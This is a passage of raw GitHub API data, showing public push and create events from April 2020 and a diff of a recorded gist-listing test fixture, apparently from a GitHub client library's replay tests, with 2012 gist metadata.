com/u/4000772?"},"repo":{"id":24804721,"name":"DenizenScript/Denizen-Core","url":"https://api.github.com/repos/DenizenScript/Denizen-Core"},"payload":{"push_id":4974220190,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"fdce36b22948194ab4d66f1d1635da2fdc224ec1","before":"4f304e87fddb67f015fda3e86e82cef41f733715","commits":[{"sha":"fdce36b22948194ab4d66f1d1635da2fdc224ec1","author":{"email":"agoodwin@freneticllc.com","name":"Alex 'mcmonkey' Goodwin"},"message":"fix listtag duplicate for flags","distinct":true,"url":"https://api.github.com/repos/DenizenScript/Denizen-Core/commits/fdce36b22948194ab4d66f1d1635da2fdc224ec1"}]},"public":true,"created_at":"2020-04-25T12:06:59Z","org":{"id":8698408,"login":"DenizenScript","gravatar_id":"","url":"https://api.github.com/orgs/DenizenScript","avatar_url":"https://avatars.githubusercontent.com/u/8698408?"}},{"id":"12155212931","type":"PushEvent","actor":{"id":1979751,"login":"macario1983","display_login":"macario1983","gravatar_id":"","url":"https://api.github.com/users/macario1983","avatar_url":"https://avatars.githubusercontent.com/u/1979751?"},"repo":{"id":258764362,"name":"macario1983/TrabalhoOrdenacao","url":"https://api.github.com/repos/macario1983/TrabalhoOrdenacao"},"payload":{"push_id":4974220188,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"1add1c120aca3e092161055a5e2f5ff8a8e6463a","before":"b85ec47caf70d3df6c353336a8090316e4bf86b5","commits":[{"sha":"1add1c120aca3e092161055a5e2f5ff8a8e6463a","author":{"email":"diego_macario@hotmail.com","name":"Diego Macario"},"message":"Sincronizando com o repositorio o conteudo local","distinct":true,"url":"https://api.github.com/repos/macario1983/TrabalhoOrdenacao/commits/1add1c120aca3e092161055a5e2f5ff8a8e6463a"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212933","type":"CreateEvent","actor":{"id":24916573,"login":"vandeilsonmenezes","display_login":"vandeilsonmenezes","gravatar_id":"","url":"https://api.github.com/users/vandeilsonmenezes","avatar_url":"https://avatars.githubusercontent.com/u/24916573?"},"repo":{"id":258766109,"name":"vandeilsonmenezes/vandeilsonmenezes.github.io","url":"https://api.github.com/repos/vandeilsonmenezes/vandeilsonmenezes.github.io"},"payload":{"ref":null,"ref_type":"repository","master_branch":"master","description":"tecblog","pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212934","type":"CreateEvent","actor":{"id":49804688,"login":"blake-m","display_login":"blake-m","gravatar_id":"","url":"https://api.github.com/users/blake-m","avatar_url":"https://avatars.githubusercontent.com/u/49804688?"},"repo":{"id":258765798,"name":"blake-m/coronascraping","url":"https://api.github.com/repos/blake-m/coronascraping"},"payload":{"ref":"master","ref_type":"branch","master_branch":"master","description":null,"pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212932","type":"CreateEvent","actor":{"id":47148648,"login":"svc-software-factory","display_login":"svc-software-factory","gravatar_id":"","url":"https://api.github.com/users/svc-software-factory","avatar_url":"https://avatars.githubusercontent.com/u/47148648?"},"repo":{"id":197735461,"name":"adeo-gitlab/sync-github-gitlab-5","url":"https://api.github.com/repos/adeo-gitlab/sync-github-gitlab-5"},"payload":{"ref":"2020-04-25_12-06-47_984_scenario1","ref_type":"branch","master_branch":"master","description":null,"pusher_type":"user"},"public":true,"created_at":"2020-04-25T12:06:59Z","org":{"id":52697831,"login":"adeo-gitlab","gravatar_id":"","url":"https://api.github.com/orgs/adeo-gitlab","avatar_url":"https://avatars.githubusercontent.com/u/52697831?"}},{"id":"12155212929","type":"PushEvent","actor":{"id":60384008,"login":"shoakhan-blk","display_login":"shoakhan-blk","gravatar_id":"","url":"https://api.github.com/users/shoakhan-blk","avatar_url":"https://avatars.githubusercontent.com/u/60384008?"},"repo":{"id":253687908,"name":"shoakhan-blk/jenkins-test","url":"https://api.github.com/repos/shoakhan-blk/jenkins-test"},"payload":{"push_id":4974220189,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"877025b9ae96bc34a96d620114a1be2e103bbffe","before":"63d1d7d332c542e5b01adaec06e2ae7e537f1887","commits":[{"sha":"877025b9ae96bc34a96d620114a1be2e103bbffe","author":{"email":"60384008+shoakhan-blk@users.noreply.github.com","name":"Shoaib"},"message":"Update jenkins-timeout.groovy","distinct":true,"url":"https://api.github.com/repos/shoakhan-blk/jenkins-test/commits/877025b9ae96bc34a96d620114a1be2e103bbffe"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"},{"id":"12155212927","type":"PushEvent","actor":{"id":41898282,"login":"github-actions[bot]","display_login":"github-actions","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","avatar_url":"https://avatars.githubusercontent.com/u/41898282?"},"repo":{"id":247759965,"name":"montanaflynn/covid-19","url":"https://api.github.com/repos/montanaflynn/covid-19"},"payload":{"push_id":4974220184,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"70c30c8298a6b62339ca84cd86642e350265dd78","before":"09b7bae7f3aa5df631122ab962cc68668d51d085","commits":[{"sha":"70c30c8298a6b62339ca84cd86642e350265dd78","author":{"email":"action@github.com","name":"GitHub Action"},"message":"Update current data","distinct":true,"url":"https://api.github.com/repos/montanaflynn/covid-19/commits/70c30c8298a6b62339ca84cd86642e350265dd78"}]},"public":true,"created_at":"2020-04-25T12:06:59Z"}] - diff --git a/tests/ReplayData/Github.testGetGists.txt b/tests/ReplayData/Github.testGetGists.txt index df020c4c3a..85e6581f4e 100644 --- a/tests/ReplayData/Github.testGetGists.txt +++ b/tests/ReplayData/Github.testGetGists.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '28308'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1fcb97854c213ddcae432893e0cfee55"'), ('date', 'Sat, 19 May 2012 06:25:55 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T01:58:51Z","url":"https://api.github.com/gists/2728565","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728565.git","git_push_url":"git@gist.github.com:2728565.git","files":{"brew_doctor":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728565/b672fa29b0e9ece1289df560a9d0400c11e43d24/brew_doctor","size":42,"filename":"brew_doctor","language":null},"install_output":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728565/0ea63c66353a52f0598df527ee6fe836e6e81d61/install_output","size":486,"filename":"install_output","language":null}},"html_url":"https://gist.github.com/2728565","user":{"url":"https://api.github.com/users/rwestafer","gravatar_id":"ce07029cb168b49c7e8b200a3eee68ed","avatar_url":"https://secure.gravatar.com/avatar/ce07029cb168b49c7e8b200a3eee68ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"rwestafer","id":844251},"description":"brew install octave","created_at":"2012-05-19T01:58:51Z","id":"2728565"},{"updated_at":"2012-05-19T01:55:44Z","url":"https://api.github.com/gists/2728564","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728564.git","git_push_url":"git@gist.github.com:2728564.git","files":{"reultado.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728564/8a55b8d0039a9a6c7eb6c0a342849d1daee47219/reultado.txt","size":182,"filename":"reultado.txt","language":"Text"},"beck.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728564/d98f5ca6a26f29e40d30be809a724bbfa007f042/beck.rb","size":331,"filename":"beck.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728564","user":{"url":"https://api.github.com/users/dmitrynix","gravatar_id":"1c667bd569578905ca81c7af804083db","avatar_url":"https://secure.gravatar.com/avatar/1c667bd569578905ca81c7af804083db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dmitrynix","id":53300},"description":"","created_at":"2012-05-19T01:55:44Z","id":"2728564"},{"updated_at":"2012-05-19T01:49:21Z","url":"https://api.github.com/gists/2728554","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728554.git","git_push_url":"git@gist.github.com:2728554.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728554/a92d2cff5a1750ffd34b950302fd2d794e07d767/gistfile1.txt","size":654,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728554","user":{"url":"https://api.github.com/users/dmitrynix","gravatar_id":"1c667bd569578905ca81c7af804083db","avatar_url":"https://secure.gravatar.com/avatar/1c667bd569578905ca81c7af804083db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dmitrynix","id":53300},"description":"","created_at":"2012-05-19T01:49:21Z","id":"2728554"},{"updated_at":"2012-05-19T01:42:04Z","url":"https://api.github.com/gists/2728523","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728523.git","git_push_url":"git@gist.github.com:2728523.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728523/b14dda8e226fcb461e7b4f9370c9a2dcb4165417/gistfile1.txt","size":673,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728523","user":{"url":"https://api.github.com/users/mikegrb","gravatar_id":"d616fde29ac0c71b9388a98a8c418bf6","avatar_url":"https://secure.gravatar.com/avatar/d616fde29ac0c71b9388a98a8c418bf6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mikegrb","id":98198},"description":"","created_at":"2012-05-19T01:42:04Z","id":"2728523"},{"updated_at":"2012-05-19T01:39:29Z","url":"https://api.github.com/gists/2728519","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728519.git","git_push_url":"git@gist.github.com:2728519.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728519/722eb8117f56805c4c9203a45d35ac254d6277e7/gistfile1.txt","size":97,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728519","user":{"url":"https://api.github.com/users/nateluzod","gravatar_id":"91af41dd33380f98217b8f18f0afa11b","avatar_url":"https://secure.gravatar.com/avatar/91af41dd33380f98217b8f18f0afa11b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nateluzod","id":514800},"description":"Zebra Striping with JSP","created_at":"2012-05-19T01:39:29Z","id":"2728519"},{"updated_at":"2012-05-19T01:36:41Z","url":"https://api.github.com/gists/2728511","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728511.git","git_push_url":"git@gist.github.com:2728511.git","files":{"benchmark.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728511/c104341058b04e8df33bdc7c5caca0824fc9f140/benchmark.txt","size":137,"filename":"benchmark.txt","language":"Text"},"json2csv.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728511/65f9e62c6c63183acfd8f61198c6ce959062f5be/json2csv.py","size":526,"filename":"json2csv.py","language":"Python"}},"html_url":"https://gist.github.com/2728511","user":{"url":"https://api.github.com/users/thinkjson","gravatar_id":"40b11c51061d8ac16284827aaa43ee58","avatar_url":"https://secure.gravatar.com/avatar/40b11c51061d8ac16284827aaa43ee58?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"thinkjson","id":200365},"description":"JSON to CSV conversion benchmarking","created_at":"2012-05-19T01:36:41Z","id":"2728511"},{"updated_at":"2012-05-19T01:38:59Z","url":"https://api.github.com/gists/2728497","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728497.git","git_push_url":"git@gist.github.com:2728497.git","files":{"gistfile1.rkt":{"type":"text/scheme","raw_url":"https://gist.github.com/raw/2728497/2f98db09c722fdc1b67e9ee36e2a74d48c9f77d0/gistfile1.rkt","size":1606,"filename":"gistfile1.rkt","language":"Racket"}},"html_url":"https://gist.github.com/2728497","user":{"url":"https://api.github.com/users/danking","gravatar_id":"04f0f7c2e53e406e17528b434a96b0f3","avatar_url":"https://secure.gravatar.com/avatar/04f0f7c2e53e406e17528b434a96b0f3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danking","id":106194},"description":"A hack to get multiple auto-values","created_at":"2012-05-19T01:30:49Z","id":"2728497"},{"updated_at":"2012-05-19T02:00:16Z","url":"https://api.github.com/gists/2728496","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728496.git","git_push_url":"git@gist.github.com:2728496.git","files":{".gitignore":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728496/dfe05c7e9d7ecb6646d47fa66a5f86bce73abb80/.gitignore","size":79,"filename":".gitignore","language":null}},"html_url":"https://gist.github.com/2728496","user":{"url":"https://api.github.com/users/mfindlater","gravatar_id":"0192c477480a42e2b270fda07542ac25","avatar_url":"https://secure.gravatar.com/avatar/0192c477480a42e2b270fda07542ac25?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"mfindlater","id":1313463},"description":"Unity .gitignore","created_at":"2012-05-19T01:30:01Z","id":"2728496"},{"updated_at":"2012-05-19T01:29:51Z","url":"https://api.github.com/gists/2728495","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728495.git","git_push_url":"git@gist.github.com:2728495.git","files":{"printTreeLevelOrder.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728495/b1370c0e911cffe195031a434b769595bed2fd4e/printTreeLevelOrder.cpp","size":1001,"filename":"printTreeLevelOrder.cpp","language":"C++"},"printAlmostCompleteTreeLeverOrder.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728495/7c52ea9408481c86a23f1ee17dd71fa0634c49a0/printAlmostCompleteTreeLeverOrder.cpp","size":1099,"filename":"printAlmostCompleteTreeLeverOrder.cpp","language":"C++"}},"html_url":"https://gist.github.com/2728495","user":{"url":"https://api.github.com/users/miggaiowski","gravatar_id":"0a3d19c5aab8adac0a7eb8746568f967","avatar_url":"https://secure.gravatar.com/avatar/0a3d19c5aab8adac0a7eb8746568f967?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"miggaiowski","id":473201},"description":"print tree by level order","created_at":"2012-05-19T01:29:51Z","id":"2728495"},{"updated_at":"2012-05-19T01:27:15Z","url":"https://api.github.com/gists/2728487","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728487.git","git_push_url":"git@gist.github.com:2728487.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728487/50d169c111d3bec00d4f62b37f43c857c6642011/gistfile1.txt","size":4756,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728487","user":{"url":"https://api.github.com/users/zentrification","gravatar_id":"1a8020e101199de55c1b3b726f342321","avatar_url":"https://secure.gravatar.com/avatar/1a8020e101199de55c1b3b726f342321?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"zentrification","id":46617},"description":"","created_at":"2012-05-19T01:27:15Z","id":"2728487"},{"updated_at":"2012-05-19T01:21:29Z","url":"https://api.github.com/gists/2728479","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728479.git","git_push_url":"git@gist.github.com:2728479.git","files":{"TDD.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728479/29ad479bb2dd86e85957a568c795ef04369efa9e/TDD.txt","size":762,"filename":"TDD.txt","language":"Text"}},"html_url":"https://gist.github.com/2728479","user":{"url":"https://api.github.com/users/ryuone","gravatar_id":"2f7ac74a21a0719eeea285fc5abcaaec","avatar_url":"https://secure.gravatar.com/avatar/2f7ac74a21a0719eeea285fc5abcaaec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ryuone","id":78976},"description":"TDD","created_at":"2012-05-19T01:21:29Z","id":"2728479"},{"updated_at":"2012-05-19T01:17:06Z","url":"https://api.github.com/gists/2728469","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728469.git","git_push_url":"git@gist.github.com:2728469.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728469/da9eedec484613342d9725cd95db955d49fa947b/gistfile1.txt","size":15323,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728469","user":{"url":"https://api.github.com/users/jesboat","gravatar_id":"deffb4efbaa060f0a39f5ed79844e2d4","avatar_url":"https://secure.gravatar.com/avatar/deffb4efbaa060f0a39f5ed79844e2d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jesboat","id":112358},"description":"Packet trace for ServerFault question http://serverfault.com/questions/390558","created_at":"2012-05-19T01:17:06Z","id":"2728469"},{"updated_at":"2012-05-19T01:15:23Z","url":"https://api.github.com/gists/2728467","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728467.git","git_push_url":"git@gist.github.com:2728467.git","files":{"hoge.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728467/c9cd50de6b6599cd0c802f66d6497d82966248c8/hoge.rb","size":44,"filename":"hoge.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728467","user":{"url":"https://api.github.com/users/ogawaso","gravatar_id":"2f66898c0b4ae9128b684516225f74aa","avatar_url":"https://secure.gravatar.com/avatar/2f66898c0b4ae9128b684516225f74aa?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ogawaso","id":39783},"description":"","created_at":"2012-05-19T01:15:23Z","id":"2728467"},{"updated_at":"2012-05-19T01:12:24Z","url":"https://api.github.com/gists/2728462","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728462.git","git_push_url":"git@gist.github.com:2728462.git","files":{"bane.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728462/78ade2748d032cc715e23c8817375bb984bd2b1d/bane.rb","size":192,"filename":"bane.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728462","user":{"url":"https://api.github.com/users/Vaguery","gravatar_id":"db04d40ecceb0a4c0683a60462d11794","avatar_url":"https://secure.gravatar.com/avatar/db04d40ecceb0a4c0683a60462d11794?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Vaguery","id":81171},"description":"An actually impossible Cargo-Bot puzzle...?","created_at":"2012-05-19T01:12:24Z","id":"2728462"},{"updated_at":"2012-05-19T01:10:01Z","url":"https://api.github.com/gists/2728459","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728459.git","git_push_url":"git@gist.github.com:2728459.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728459/fcce53fa7e8b1e6c54925dd447eee11d04f4fcac/dabblet.css","size":497,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728459/4d3163ebd7daa36553c07dccfd1669080ca481fa/dabblet.html","size":125,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728459/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728459","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Test","created_at":"2012-05-19T01:10:01Z","id":"2728459"},{"updated_at":"2012-05-19T01:07:12Z","url":"https://api.github.com/gists/2728453","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728453.git","git_push_url":"git@gist.github.com:2728453.git","files":{"pathing.example.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728453/1fd4ed05b0bd03a5eb2d9ef7383e031ceec2dbab/pathing.example.php","size":2995,"filename":"pathing.example.php","language":"PHP"},"pathing.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728453/2bc4790acd815d6b1817ab82656b81af94d6c7f1/pathing.php","size":3377,"filename":"pathing.php","language":"PHP"}},"html_url":"https://gist.github.com/2728453","user":{"url":"https://api.github.com/users/alixaxel","gravatar_id":"be9e4cbcfa96b7e4ad4bc28c88cfdb2b","avatar_url":"https://secure.gravatar.com/avatar/be9e4cbcfa96b7e4ad4bc28c88cfdb2b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"alixaxel","id":262782},"description":"","created_at":"2012-05-19T01:07:12Z","id":"2728453"},{"updated_at":"2012-05-19T01:06:03Z","url":"https://api.github.com/gists/2728451","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728451.git","git_push_url":"git@gist.github.com:2728451.git","files":{"rfc1918.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728451/df529e59919f90cc44e91aa178fd39f60a637a16/rfc1918.rb","size":758,"filename":"rfc1918.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728451","user":{"url":"https://api.github.com/users/bmc","gravatar_id":"21e10bea0de20a200e5c7801e10227a9","avatar_url":"https://secure.gravatar.com/avatar/21e10bea0de20a200e5c7801e10227a9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bmc","id":23894},"description":"Quick and dirty Ruby module to determine if IP address (as string) is RFC-1918 address","created_at":"2012-05-19T01:06:03Z","id":"2728451"},{"updated_at":"2012-05-19T00:53:36Z","url":"https://api.github.com/gists/2728420","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728420.git","git_push_url":"git@gist.github.com:2728420.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728420/993553d3188fffcfbae007dbc2affa216754156d/dabblet.css","size":689,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728420/2abe752bfe29d0dd2a7bb3d5f2f619fffe530170/dabblet.html","size":162,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728420/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728420","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Tests","created_at":"2012-05-19T00:53:36Z","id":"2728420"},{"updated_at":"2012-05-19T00:47:32Z","url":"https://api.github.com/gists/2728389","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728389.git","git_push_url":"git@gist.github.com:2728389.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728389/92cb0a7255249b2f94d9d04e51d40e205dba230b/gistfile1.txt","size":1899,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728389","user":{"url":"https://api.github.com/users/qmx","gravatar_id":"684b4bfe97a40454db104abcb601e375","avatar_url":"https://secure.gravatar.com/avatar/684b4bfe97a40454db104abcb601e375?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"qmx","id":66734},"description":"","created_at":"2012-05-19T00:47:32Z","id":"2728389"},{"updated_at":"2012-05-19T00:46:35Z","url":"https://api.github.com/gists/2728385","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728385.git","git_push_url":"git@gist.github.com:2728385.git","files":{"gistfile1.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728385/5fbfa6cede70702fb87f368028c510c880948be8/gistfile1.js","size":309,"filename":"gistfile1.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728385","user":{"url":"https://api.github.com/users/xupeng","gravatar_id":"44fdbd3419f6ce93976fcfa86d599a70","avatar_url":"https://secure.gravatar.com/avatar/44fdbd3419f6ce93976fcfa86d599a70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"xupeng","id":259658},"description":"自动跳转到广播页","created_at":"2012-05-19T00:46:35Z","id":"2728385"},{"updated_at":"2012-05-19T00:45:40Z","url":"https://api.github.com/gists/2728382","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728382.git","git_push_url":"git@gist.github.com:2728382.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728382/4a6acf3f4153514685a7527a33a4deaafb62fd5f/dabblet.css","size":717,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728382/12623c75e860747639b043bffa60d49a0bfa41a1/dabblet.html","size":161,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728382/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728382","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Tests","created_at":"2012-05-19T00:45:40Z","id":"2728382"},{"updated_at":"2012-05-19T00:45:37Z","url":"https://api.github.com/gists/2728380","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728380.git","git_push_url":"git@gist.github.com:2728380.git","files":{"correlation_examples.R":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728380/8306c62b3fea036155cff1104e7bae4e76da253a/correlation_examples.R","size":2586,"filename":"correlation_examples.R","language":"R"},"run.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728380/f15c99f5747110d465b878f26dd81df3e2041c7c/run.py","size":2291,"filename":"run.py","language":"Python"},"correlation_examples.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728380/b70a10abf9e6495aafb491e46d5ed69200a5e470/correlation_examples.py","size":4140,"filename":"correlation_examples.py","language":"Python"}},"html_url":"https://gist.github.com/2728380","user":{"url":"https://api.github.com/users/joskid","gravatar_id":"74231318b03600599b999e675a5c31b4","avatar_url":"https://secure.gravatar.com/avatar/74231318b03600599b999e675a5c31b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"joskid","id":644086},"description":"Examples of dependence beyond correlation","created_at":"2012-05-19T00:45:37Z","id":"2728380"},{"updated_at":"2012-05-19T00:42:59Z","url":"https://api.github.com/gists/2728373","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728373.git","git_push_url":"git@gist.github.com:2728373.git","files":{"gistfile1.rkt":{"type":"text/scheme","raw_url":"https://gist.github.com/raw/2728373/846e565c7770e34f6f8c246ac1dad24ce52a105e/gistfile1.rkt","size":977,"filename":"gistfile1.rkt","language":"Racket"}},"html_url":"https://gist.github.com/2728373","user":{"url":"https://api.github.com/users/danking","gravatar_id":"04f0f7c2e53e406e17528b434a96b0f3","avatar_url":"https://secure.gravatar.com/avatar/04f0f7c2e53e406e17528b434a96b0f3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danking","id":106194},"description":"","created_at":"2012-05-19T00:42:59Z","id":"2728373"},{"updated_at":"2012-05-19T00:40:31Z","url":"https://api.github.com/gists/2728371","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728371.git","git_push_url":"git@gist.github.com:2728371.git","files":{"emacs.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728371/759965425b353412ed0169c7a024dc4f6e22aab2/emacs.rb","size":3450,"filename":"emacs.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728371","user":{"url":"https://api.github.com/users/opennista1","gravatar_id":"e523b5425d1e9814221e3c1b6aed5276","avatar_url":"https://secure.gravatar.com/avatar/e523b5425d1e9814221e3c1b6aed5276?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"opennista1","id":1684080},"description":"Yet Another Emacs 23.4 homebrew Formula","created_at":"2012-05-19T00:40:31Z","id":"2728371"},{"updated_at":"2012-05-19T00:38:53Z","url":"https://api.github.com/gists/2728369","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2728369.git","git_push_url":"git@gist.github.com:2728369.git","files":{"build.sbt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728369/a73fa89294fbdc7ed5b05a50345485569da8352d/build.sbt","size":238,"filename":"build.sbt","language":"Scala"}},"html_url":"https://gist.github.com/2728369","user":{"url":"https://api.github.com/users/kmizu","gravatar_id":"0cd46aa475288438b0b7f214b74321e3","avatar_url":"https://secure.gravatar.com/avatar/0cd46aa475288438b0b7f214b74321e3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kmizu","id":97326},"description":"Code snippet of build.sbt for Finagle 4.0.2 in Scala 